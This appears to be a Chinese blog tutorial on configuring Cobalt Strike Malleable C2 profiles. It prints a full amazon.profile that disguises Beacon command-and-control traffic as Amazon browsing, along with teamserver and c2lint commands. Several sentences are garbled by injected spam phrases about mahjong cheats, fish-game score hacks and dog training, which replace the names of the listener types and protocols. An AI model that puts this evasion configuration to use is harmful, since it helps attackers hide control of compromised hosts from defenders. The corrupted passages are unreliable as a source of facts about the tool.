本文主要浅略地分析Cobalt Strike利用Malleable-C2-Profiles来进行手机麻将外挂伪装流量,实现通信隐匿的效果。
cobalt strike是一款非常优秀的基于java的后渗透测试平台,它使用图形化界面进行操作,相比于Metasploit操作上更为简单高效。同时,它采用C/S架构,服务端为一个,客户端可以为多个,方便团队进行分布式协作。
cobalt strike提供的listener分为麻将外挂软件与星力捕鱼程序刷分软件。区别在与Beacon为内置使用,即目标主机与server端通信的监听;Foreign为与外部结合的listener,通常与Metasploit结合使用,后文使用的主要为Beacon类型的监听器。Beacon主要支持了手机捕鱼外挂作弊软件星力捕鱼程序刷分软件的等通信协议。
我们设置好一个server端与目标主机之间监听环境(关于cobalt strike的监听器的设置与具体使用可以Google查询),使用的payload为Windows/beacon_http/reverse_http,开始监听。cobalt strike通过与目标主机建立心跳包的机制来监控目标主机的存活情况,默认为60s,可以通过sleep命令进行修改,当修改为5s一次心跳包的发送,抓包观察具体情况。
抓包可见,目标主机与server端的通信为HTTP协议,由此,当我们对cobalt strike的server端进行隐藏,伪造成一个正常的Web服务器,以此来伪装流量,最终达到通信隐匿的效果。cobalt strike通过提供Malleable-C2-Profiles来实现上述目的。
Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。
使用方法:./teamserver [external IP] [password] [/path/to/my.profile]
对于profile文件可以通过cobalt strike软件包中的c2lint文件进行检查,建议第一次使用的profile文件都检查一遍。
检查方法:./c2lint [/path/to/my.profile]
以amazon.profile为例,来做简要分析
# Amazon browsing traffic profile
#
# Author: @harmj0y
#
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" "www.amazon.com";
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
output {
print;
}
}
}
http-post {
set uri "/N4215/adj/amzn.us.sr.aps";
client {
header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";
header "Host" "www.amazon.com";
parameter "sz" "160x600";
parameter "oe" "oe=ISO-8859-1;";
id {
parameter "sn";
}
parameter "s" "3717";
parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";
output {
base64;
print;
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";
output {
print;
}
}
}
文件开头的set语句来设置Beacon的默认值,类型分为全局与本地选项,全局选项更改的是全局Beacon的设置,本地选项更改特定的transaction。全局在文件开头声明, 本地选项在具体的transaction中使用。
在amazon.profile中sleeptime为设置心跳包时间,单位为毫秒;jitter为默认的抖动因子(0-99%);maxdns为通过DNS上传数据时的主机名最大长度(0-255);useragent为设置http通信使用的用户代理。
后文的http-get与http-post都符合以下的通用格式:
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
protocol-transaction即为使用具体使用http方法,client与server就是对http中的request与response的具体配置,header指定具体的http请求头与相应头信息。
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
这指定了对metadata进行相应编码,此处为base64编码。Prepend语句在编码后的数据前面添加相应字符串,append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作,最终得到所要的metadata。
parameter语句为设置对应的字符串存储在对应的URI参数中,print语句是将data作为transaction的内容进行发送。最后通过:
output {
print;
}
单元进行终止并输出。通过以上具体内容的设置,最终在通信时HTTP流量包得到相应的更改伪造。至于更多profile设置可以参考官方文档 — https://www.cobaltstrike.com/help-malleable-c2 。
下图为server端默认配置与加载amazon.profile后实现的通信流量的对比。
通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。
在cobalt strike中,一次只能使用一个profile文件,当profile文件有变动时,基于当前profile文件的listener都会失效,需要重新部署。在编写自定义的profile文件时,需要注意一些字符与URL之间的冲突,有可能导致配置无法生效。修改后的profile文件建议通过c2lint工具进行测试,通过后再进行部署。
cobalt strike作为一款优秀的后渗透怎么训练狗狗大小便训练狗教程工具,通过伪造正常的HTTP流量来进行目标主机的控制,在实际使用中一般偏向于使用HTTPS协议进行通信,更能达到隐藏自身的目的。以上内容算是抛砖引玉了,有感兴趣的同学可以参考以下链接。
https://www.freebuf.com/sectool/133369.html
https://www.cobaltstrike.com/help-malleable-c2
https://github.com/rsmudge/Malleable-C2-Profiles
https://github.com/xx0hcd/Malleable-C2-Profiles